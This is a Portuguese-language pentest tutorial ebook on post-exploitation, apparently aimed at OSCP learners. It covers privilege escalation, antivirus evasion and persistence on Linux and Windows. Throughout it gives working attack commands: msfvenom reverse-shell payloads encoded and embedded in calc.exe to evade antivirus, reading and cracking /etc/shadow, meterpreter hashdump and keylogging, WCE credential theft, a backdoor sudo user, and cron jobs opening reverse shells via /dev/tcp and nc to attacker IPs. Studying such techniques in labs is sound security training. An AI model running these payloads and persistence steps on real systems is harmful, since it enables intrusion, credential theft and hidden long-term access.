



# INTRODUÇÃO A PÓS-EXPLORAÇÃO

Prof. Joas Antonio



# SOBRE O LIVRO

- Ensinar o básico sobre pós exploração
- Ajudar os iniciantes na área a se aprofundar mais ainda
- Mostrar alguns técnicas em sistemas Windows e Linux

# O QUE É PÓS EXPLORAÇÃO?





# O QUE É PÓS EXPLORAÇÃO?

- Em um PenTest a fase de pós exploração é essencial, pois é nessa fase que você utiliza as suas habilidades e conhecimentos no sistema para se aprofundar mais ainda.
- Podemos dizer que a pós exploração é um processo indispensável, na verdade sem ela não iríamos conseguir entender o poder que o atacante tem após a exploração.



# O QUE SE GANHA NA PÓS EXPLORAÇÃO?

- Arquivos de senhas de usuários de aplicações ou do próprio sistema;
- Arquivos sensíveis;
- Persistência ou Manter acesso ao sistema;
- Comprometer outras máquinas em uma rede;
- Explorar outras falhas;
- Utilizar o alvo como bot para algo.

Esses são alguns dos conceitos por trás da pós exploração.

# COMO REALIZAR A PÓS EXPLORAÇÃO?





# COMO REALIZAR A PÓS EXPLORAÇÃO?

- Por ser um método mais complexo e que requer conhecimentos mais profundos sobre sistema, eu recomendo que você tenha pelo menos conhecimentos nos seguintes itens:
  1. Sistemas operacionais (Windows e Linux), seja terminal, bash, powershell, chaves de registros e afins.
  2. Linguagens de programação, no caso vai depender do ambiente e de qual sistema você está efetuando a pós exploração, caso seja um sistema web, linguagens como PHP é uma boa ideia conhecer.
  3. Profundos conhecimentos em redes de computadores e afins.

# PRÁTICA BÁSICA







# PRÁTICA 1: LINUX (ESCALAÇÃO DE PRIV)

*“Após ter explorado uma falha e ter ganhado shell, vamos a pós exploração”*

A escalação de privilégios (Linux) tem a ver com:

- Coletar - *Enumeração* , *mais enumerações e mais algumas enumerações.*
- Processo - *Classifique os dados, analise e priorize.*
- Pesquisa - *Saiba o que procurar e onde encontrar o código de exploração.*
- Adaptar - *personalize a exploração, para que ela se encaixe. Nem toda exploração funciona para todos os sistemas "prontos para uso".*
- Experimente - *Prepare-se para (muitas) tentativas e erros .*



# PRÁTICA 1: LINUX (ESCALAÇÃO DE PRIV)

<https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>

- Essencial para o levantamento de informações do sistema operacional, além disso para conhecer alguns comandos Linux, então eu recomendo o acesso ao site acima.
- Veja alguns exemplos:

## Versão do Sistema Operacional

```
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release  # Redhat based
```

## Quais serviços estão rodando

```
ps aux
ps -ef
top
cat /etc/services
```



# PRÁTICA 2: LINUX (ESCALAÇÃO DE PRIV)

- Ferramentas são essenciais para auxiliar na escalação de privilégios
  1. LinEnum: <https://github.com/rebootuser/LinEnum>
  2. PeLinux: <https://www.kitploit.com/2018/06/pe-linux-linux-privilege-escalation-tool.html>
  3. LinuxPrivChecker: <http://www.securitysift.com/download/linuxprivchecker.py>
- Mais informações sobre escalação de privilégios  
[https://sushant747.gitbooks.io/total-oscp-guide/privilege\\_escalation\\_-\\_linux.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html)



# PRÁTICA 3: WINDOWS (ESCALAÇÃO DE PRIV)

- Após conseguir acesso a uma shell, agora é a vez da pós exploração no Windows
- Comandos básicos de reconhecimento

```
systeminfo  
hostname
```

```
whoami  
echo %username%
```

```
netsh firewall show state  
netsh firewall show config
```

```
ipconfig /all  
route print  
arp -A
```

- Procurando senhas não criptografadas em arquivos .txt e afins

```
findstr /si password *.txt  
findstr /si password *.xml  
findstr /si password *.ini  
  
#Find all those strings in config files.  
dir /s *pass* == *cred* == *vnc* == *.config*  
  
# Find all passwords in all files.  
findstr /spin "password" *.*  
findstr /spin "password" *.*
```



# PRÁTICA 3: WINDOWS (ESCALAÇÃO DE PRIV)

- [https://sushant747.gitbooks.io/total-oscp-guide/privilege\\_escalation\\_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
- Para mais detalhes sobre Escalação de privilégio em Windows, acesse o site acima



## PRÁTICA 4: METERPRETER

- Até agora você provavelmente tem algum tipo de shell no alvo.
- Se não for um shell meterpreter, você provavelmente deve tentar transformar o shell atual em um shell meterpreter, pois fornece muitas ferramentas disponíveis realmente fáceis.
- Então, basta criar um meterpreter-shell a partir do msfvenom ou algo assim. Talvez um shell php. Ou o que você tem acesso. Então você apenas dispara esse script e obtém seu shell meterpreter.
- **Exemplo:**

```
# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=6000 R > exploit.php
```



# PRÁTICA 4: METERPRETER PÓS (FUNDAMENTOS)

- Comandos meterpreter básicos:

Listar todos os comandos

```
help
```

Obtenha ajuda sobre um comando específico

```
help upload
```

## Sessões

Então, primeiro alguns princípios. Você pode colocar o shell em um trabalho em segundo plano com o comando `background`. Isso pode ser útil se você tiver vários alvos funcionando ao mesmo tempo. Ou se você deseja mover para um diretório específico para carregar ou baixar alguns arquivos.

Listar sessões em segundo plano

```
background -l
```



# PRÁTICA 4: METERPRETER PÓS (FUNDAMENTOS)

- Comandos meterpreter básicos:

## Scripts

### Migrar

Um script realmente comum e útil incorporado ao metasploit é o script de migração. Se você obtiver o shell através de algum tipo de exploração que trava um programa, o usuário pode encerrar esse programa e fechará sua sessão. Então, você precisa migrar sua sessão para outro processo. Você pode fazer isso com o `migrate` script.

Primeiro, execute este comando para gerar todos os processos

```
ps
```

Agora você escolhe um e executa

```
run migrate -p 1327
```

Onde `-p` é o PID do processo.





# PRÁTICA 4: METERPRETER PÓS (FUNDAMENTOS)

- Atualizar uma shell normal para meterpreter
- Há um ponto em fazer coisas através do metasploit. Por exemplo, se você encontrar uma exploração que não possui um payload disponível, basta iniciar um shell normal e, em seguida, atualizá-lo. Para fazer isso, faça o seguinte:

```
Ctrl-z
```

```
Background session 2? [y/N] y
```

Agora nós temos esse shell rodando em segundo plano, e você pode vê-lo com

```
show sessions
```

```
#or
```

```
sessions -l
```

E você pode se conectar a ele novamente com

```
sessions -i 1
```

<https://www.binarytides.com/php-reverse-shell-with-metasploit/>

Então agora temos o shell rodando em segundo plano. Está na hora de atualizar

```
use post/multi/manage/shell_to_meterpreter
```

```
set LHOST 192.168.1.102
```

```
set session 1
```

```
exploit
```



# PRÁTICA 5: RESTRIÇÕES DE SHELL (LINUX)

- Alguns administradores de sistema não querem que seus usuários tenham acesso a todos os comandos. Então eles recebem uma shell restrita. Se o hacker obtém acesso a um usuário com um shell restrito, precisamos ser capazes de quebrar isso, efetuar o bypass dele, para ter mais poder.
- **Exemplo:**

```
sh -r
rsh

rbash
bash -r
bash --restricted

rksh
ksh -r
```

[http://securebean.blogspot.com/2014/05/escaping-restricted-shell\\_3.html?view=sidebar](http://securebean.blogspot.com/2014/05/escaping-restricted-shell_3.html?view=sidebar)

<http://pen-testing.sans.org/blog/pen-testing/2012/06/06/escaping-restricted-linux-shells>



## PRÁTICA 6: BYPASS AV

- Antivírus normalmente usa a lista negra como metodologia. Eles têm um enorme banco de dados cheio de assinaturas para diferentes malwares conhecidos. Em seguida, o antivírus apenas verifica o disco e procura por qualquer uma dessas assinaturas.
- Portanto, como existem muitos antivírus diferentes e todos eles têm bancos de dados de assinaturas diferentes, é importante sabermos que antivírus nosso destino usa. Quando soubermos que podemos usar o [virtustotal.com](http://virtustotal.com) para carregar nossos arquivos maliciosos e verificar se esse antivírus específico o encontra.
- Portanto, o que precisamos fazer é alterar o malware o suficiente para que a assinatura seja alterada e o antivírus não consiga identificar o arquivo como malicioso.
- Existem algumas técnicas diferentes para fazer isso.



# PRÁTICA 6: BYPASS AV

- Podemos codificar nosso malware de maneiras diferentes. Isso pode ser feito com o msfvenom. Observe como definimos o `-e` sinalizador aqui e, em seguida, use a `shikata_ga_nai` codificação. Isso não é tão eficaz, pois os fornecedores de antivírus também têm acesso ao metasploit.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5555 -f exe -e  
x86/shikata_ga_nai -i 9 -o meterpreter_encoded.exe
```

## Incorporar em arquivo não malicioso

Outra maneira é incorporar nossa carga útil em um arquivo não malicioso.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5555 -f exe -e  
x86/shikata_ga_nai -i 9 -x calc.exe -o  
bad_calc.exe
```



# PRÁTICA 6: BYPASS AV

- <https://github.com/danielbohannon/Invoke-Obfuscation>

```
Invoke-Obfuscation

Tool      :: Invoke-Obfuscation
Author    :: Daniel Bohannon (DBO)
Twitter   :: @danielbohannon
Blog      :: http://danielbohannon.com
Github    :: https://github.com/danielbohannon/Invoke-Obfuscation
Version   :: 1.7
License   :: Apache License, Version 2.0
Notes     :: If(!$Caffeinated) {Exit}

HELP MENU :: Available options shown below:

[*] Tutorial of how to use this tool
[*] Show this Help Menu
[*] Show options for payload to obfuscate
[*] Clear screen
[*] Execute ObfuscatedCommand locally
[*] Copy ObfuscatedCommand to clipboard
[*] Write ObfuscatedCommand Out to disk
[*] Reset ALL obfuscation for ObfuscatedCommand
[*] Undo LAST obfuscation for ObfuscatedCommand
[*] Go Back to previous obfuscation menu
[*] Quit Invoke-Obfuscation
[*] Return to Home Menu

TUTORIAL
HELP,GET-HELP,?,-?,/? ,MENU
SHOW OPTIONS,SHOW,OPTIONS
CLEAR,CLEAR-HOST,CLS
EXEC,EXECUTE,TEST,RUN
COPY,CLIP,CLIPBOARD
OUT
RESET
UNDO
BACK,CD ..
QUIT,EXIT
HOME,MAIN

Choose one of the below options:

[*] TOKEN      Obfuscate PowerShell command Tokens
[*] STRING     Obfuscate entire command as a String
[*] ENCODING    Obfuscate entire command via Encoding
[*] LAUNCHER   Obfuscate command args w/Launcher techniques (run once at end)

Invoke-Obfuscation> _
```

## TUTORIAL DE USO:

[https://www.youtube.com/watch?v=uE8lAxM\\_BhE](https://www.youtube.com/watch?v=uE8lAxM_BhE)

<https://www.varonis.com/blog/powershell-obfuscation-stealth-through-confusion-part-i/>



# PRÁTICA 6: BYPASS AV

- <https://github.com/danielbohannon/Invoke-Obfuscation>

```
Invoke-Obfuscation

Tool      :: Invoke-Obfuscation
Author    :: Daniel Bohannon (DBO)
Twitter   :: @danielhbohannon
Blog      :: http://danielbohannon.com
Github    :: https://github.com/danielbohannon/Invoke-Obfuscation
Version   :: 1.7
License   :: Apache License, Version 2.0
Notes     :: If(!$Caffeinated) {Exit}

HELP MENU :: Available options shown below:

[*] Tutorial of how to use this tool
[*] Show this Help Menu
[*] Show options for payload to obfuscate
[*] Clear screen
[*] Execute ObfuscatedCommand locally
[*] Copy ObfuscatedCommand to clipboard
[*] Write ObfuscatedCommand Out to disk
[*] Reset ALL obfuscation for ObfuscatedCommand
[*] Undo LAST obfuscation for ObfuscatedCommand
[*] Go Back to previous obfuscation menu
[*] Quit Invoke-Obfuscation
[*] Return to Home Menu

TUTORIAL
HELP,GET-HELP,?,-?,/? ,MENU
SHOW OPTIONS,SHOW,OPTIONS
CLEAR,CLEAR-HOST,CLS
EXEC,EXECUTE,TEST,RUN
COPY,CLIP,CLIPBOARD
OUT
RESET
UNDO
BACK,CD ..
QUIT,EXIT
HOME,MAIN

Choose one of the below options:

[*] TOKEN      Obfuscate PowerShell command Tokens
[*] STRING     Obfuscate entire command as a String
[*] ENCODING   Obfuscate entire command via Encoding
[*] LAUNCHER   Obfuscate command args w/Launcher techniques (run once at end)

Invoke-Obfuscation> _
```

## TUTORIAL DE USO:

[https://www.youtube.com/watch?v=uE8lAxM\\_BhE](https://www.youtube.com/watch?v=uE8lAxM_BhE)

<https://www.varonis.com/blog/powershell-obfuscation-stealth-through-confusion-part-i/>



# PRÁTICA 7: + WINDOWS (ESCALAÇÃO PRIV)

- Descobrir o sistema operacional conectado:

```
C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  
OS Name:                Microsoft Windows 7 Professional  
OS Version:             6.1.7601 Service Pack 1 Build 7601
```

- Ver todos os patches de segurança instalado:

```
C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn  
Caption                Description             HotFixID                InstalledOn  
http://support.microsoft.com/?kbid=2727528 Security Update        KB2727528              11/23/2013  
http://support.microsoft.com/?kbid=2729462 Security Update        KB2729462              11/26/2013  
http://support.microsoft.com/?kbid=2736693 Security Update        KB2736693              11/26/2013  
http://support.microsoft.com/?kbid=2737084 Security Update        KB2737084              11/23/2013  
http://support.microsoft.com/?kbid=2742614 Security Update        KB2742614              11/23/2013  
http://support.microsoft.com/?kbid=2742616 Security Update        KB2742616              11/26/2013  
http://support.microsoft.com/?kbid=2750149 Update                 KB2750149              11/23/2013  
http://support.microsoft.com/?kbid=2756872 Update                 KB2756872              11/24/2013  
http://support.microsoft.com/?kbid=2756923 Security Update        KB2756923              11/26/2013  
http://support.microsoft.com/?kbid=2757638 Security Update        KB2757638              11/23/2013  
http://support.microsoft.com/?kbid=2758246 Update                 KB2758246              11/24/2013  
http://support.microsoft.com/?kbid=2761094 Update                 KB2761094              11/24/2013  
http://support.microsoft.com/?kbid=2764870 Update                 KB2764870              11/24/2013  
http://support.microsoft.com/?kbid=2768703 Update                 KB2768703              11/23/2013  
http://support.microsoft.com/?kbid=2769034 Update                 KB2769034              11/23/2013  
http://support.microsoft.com/?kbid=2769165 Update                 KB2769165              11/23/2013  
http://support.microsoft.com/?kbid=2769166 Update                 KB2769166              11/26/2013  
http://support.microsoft.com/?kbid=2770660 Security Update        KB2770660              11/23/2013  
http://support.microsoft.com/?kbid=2770917 Update                 KB2770917              11/24/2013  
http://support.microsoft.com/?kbid=2771821 Update                 KB2771821              11/24/2013  
[...Snip...]
```



# PRÁTICA 7: + WINDOWS (ESCALAÇÃO PRIV)

- Ver o nível de privilégio necessário para cada serviço:

```
C:\> accesschk.exe -ucqv Spooler

Spooler

R NT AUTHORITY\Authenticated Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL

R BUILTIN\Power Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL

RW BUILTIN\Administrators
SERVICE_ALL_ACCESS

RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
```

Para mais informações: <http://www.fuzzysecurity.com/tutorials/16.html>

Palestras: [https://www.youtube.com/watch?v=PC\\_iMqiulRQ](https://www.youtube.com/watch?v=PC_iMqiulRQ)

<https://www.youtube.com/watch?v=kMG8lsCohHA>





# PRÁTICA 8: + LINUX (ESCALAÇÃO PRIV)

- Scripts de Escalação de Privilégio
- <https://github.com/RustyShackleford221/OSCP-Prep/tree/master/Priv%20Esc%20Checks/Linux>

Para mais informações:

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md>

Palestras: <https://www.youtube.com/watch?v=dk2wsyFiosg>



# PRÁTICA 9: QUEBRA DE SENHAS LINUX

- Quebrando senha de usuários

Primeiro, pegue o arquivo passwd e shadow.

```
cat /etc/passwd  
cat /etc/shadow
```

Podemos quebrar a senha usando o `john the ripper` seguinte:

```
unshadow passwd shadow > unshadowed.txt  
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
```

- Max Moser lançou um módulo de **detecção de senha** do Metasploit chamado **psnuffle**, que detectará senhas fora do fio, semelhante à ferramenta *dsniff*. Atualmente, ele suporta POP3, IMAP, FTP e HTTP GET.

Para mais informações: <https://www.offensive-security.com/metasploit-unleashed/password-sniffing/>

Guia roubo de senhas: [https://sushant747.gitbooks.io/total-oscp-guide/tcp-dumps\\_on\\_pwnd\\_machines.html](https://sushant747.gitbooks.io/total-oscp-guide/tcp-dumps_on_pwnd_machines.html)



# PRÁTICA 10: QUEBRA DE SENHAS WINDOWS

- Se você tem uma shell meterpreter você faz muitas coisas com pouco esforço, caso ainda não tenha, você pode criar seus payloads meterpreter para a exploração.

<https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/>

<https://github.com/frizb/MSF-Venom-Cheatsheet>

<https://redteamtutorials.com/2018/10/24/msfvenom-cheatsheet/>

- Utilizando o meterpreter você pode fazer o seguinte:

Despejar hashes do windows para análises adicionais

```
hashdump
```

Keylogger

```
keyscan_start
```

```
keyscan_dump
```

```
keyscan_stop
```



# PRÁTICA 10: QUEBRA DE SENHAS WINDOWS

## **fgdump.exe**

Podemos usar `fgdump.exe` ( `locate fgdump.exe` no kali) para extrair hashes de senha NTLM e LM. Execute-o e existe um arquivo chamado `127.0.0.1.pwndump`, onde o hash é salvo. Agora você pode tentar forçar a força bruta.

## **Editor de credenciais do Windows (WCE)**

O WCE pode roubar senhas NTLM da memória em texto não criptografado! Existem versões diferentes do WCE, uma para sistemas de 32 bits e outra para 64 bits. Portanto, verifique se você tem o caminho certo.

Você pode executá-lo assim

```
wce32.exe -w
```



# PRÁTICA 10: QUEBRA DE SENHAS WINDOWS

## VNC

O VNC exige uma senha específica para fazer login. Portanto, não é a mesma senha que a senha do usuário. Se você possui um shell meterpreter, pode executar o módulo pós-exploração para obter a senha do VNC.

```
background
use post/windows/gather/credentials/vnc
set session X
exploit
```

[https://sushant747.gitbooks.io/total-oscp-guide/loot\\_windows\\_-\\_for\\_credentials\\_and\\_other\\_stuff.html](https://sushant747.gitbooks.io/total-oscp-guide/loot_windows_-_for_credentials_and_other_stuff.html)

<https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/>



# PRÁTICA 11: PERSISTÊNCIA

- Portanto, se você conseguir comprometer um sistema, precisará garantir que não perde o shell. Se você usou uma exploração que mexe com a máquina, o usuário pode querer reiniciar, e se o usuário reiniciar, você perderá sua shell.
- Ou talvez a maneira de comprometer a máquina seja realmente complicada ou barulhenta e você não queira passar pelo trabalho de fazer tudo de novo. Então, em vez disso, basta criar um backdoor no qual você possa entrar de forma rápida e fácil.

## Crie um novo usuário

A maneira mais óbvia, mas não tão sutil, é apenas criar um novo usuário (se você é root ou alguém com esse privilégio).

```
adduser pelle
adduser pelle sudo
```

Agora, se a máquina tiver, `ssh` você poderá fazer o ssh na máquina.

Em algumas máquinas, Linux mais antigo, eu acho, você tem que fazer

```
useradd pelle
passwd pelle
echo "pelle    ALL=(ALL) ALL" >> /etc/sudoers
```



# PRÁTICA 11: PERSISTÊNCIA

## Cronjob NC

Crie cronjob que se conecte à sua máquina a cada 10 minutos. Aqui está um exemplo usando um shell bash-reverse. Você também precisa configurar um ouvinte do netcat.

Aqui está como você verifica se o cronjob está ativo

```
service crond status  
pgrep cron
```

Se não for iniciado, você pode iniciá-lo assim

```
service crond status  
/etc/init.d/cron start
```

```
crontab -e  
*/10 * * * * 0<&196;exec 196<>/dev/tcp/192.168.1.102/5556; sh <&196 >&196 2>&196
```

```
/10 * * * * nc -e /bin/sh 192.168.1.21 5556
```

## Ouvinte

```
nc -lvp 5556
```

Às vezes você precisa definir o usuário

```
crontab -e  
*/10 * * * * pelle /path/to/binary
```

<http://kaoticcreations.blogspot.com/2012/07/backdooring-unix-system-via-cron.html>



# PRÁTICA 11: PERSISTÊNCIA

- Caso você tenha uma shell meterpreter você pode utilizar módulos de persistência para garantir acesso a máquina direto
- <https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/>
- <https://gist.github.com/dergachev/7916152>
- <https://0metasecurity.com/post-oscp-series-part-5-persistence-techniques-and-desired-state-control/>



# FERRAMENTAS E LABORATÓRIOS





# FERRAMENTAS E LABORATÓRIOS

- Depois de adquirir alguns fundamentos sobre pós exploração a melhor coisa a se fazer agora é estudar e por em prática os conceitos, segue algumas ferramentas e laboratórios:
- [https://www.owasp.org/index.php/Bytecode\\_obfuscation](https://www.owasp.org/index.php/Bytecode_obfuscation)
- <https://freeobfuscator.com/>
- <https://github.com/anandkumar11u/OSCP-60days>
- <https://github.com/Anon-Exploiter/Php-Obfuscation-Tool>
- <https://www.vulnhub.com/>
- <https://www.hackthebox.eu/>
- <https://tuonilabs.wordpress.com/tag/oscp-labs/>
- <https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#lab>
- <https://www.offensive-security.com/metasploit-unleashed/>
- <https://github.com/search?q=oscp+tools>
- <https://github.com/averagesecurityguy/scripts>



# REFERÊNCIAS

- <https://medium.com/@sdgeek/oscp-pen-testing-resources-271e9e570d45>
- [https://sushant747.gitbooks.io/total-oscp-guide/post\\_exploitation.html](https://sushant747.gitbooks.io/total-oscp-guide/post_exploitation.html)
- <https://hackingandsecurity.blogspot.com/2017/09/oscp-windows-post-exploitation.html>
- <http://0xc0ffee.io/blog/OSCP-Goldmine>
- <https://github.com/0x4D31/awesome-oscp>
- <https://github.com/RustyShackleford221/OSCP-Prep>
- <https://github.com/topics/oscp>
- <https://github.com/so87/OSCP-PwK>
- <https://bit.ly/2kyTrJc>